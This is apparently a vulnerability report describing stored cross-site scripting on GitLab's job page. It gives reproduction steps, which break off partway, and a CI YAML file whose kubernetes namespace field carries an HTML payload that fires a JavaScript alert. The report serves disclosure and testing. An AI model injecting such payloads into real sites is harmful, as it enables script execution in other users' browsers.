Stored XSS on the job page

Steps to reproduce: 1. Run Gitlab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest` 2. Create a new project with README.md 3. Go to Operations->Kubernetes 1. Click on the "Add Kubernetes cluster" button 2. …

    deploy:
      stage: deploy
      script:
        - echo "Example"
      environment:
        name: production
        url: https://google.com
        kubernetes:
          namespace: <img src=x onerror=alert(1)>
      only:
      - master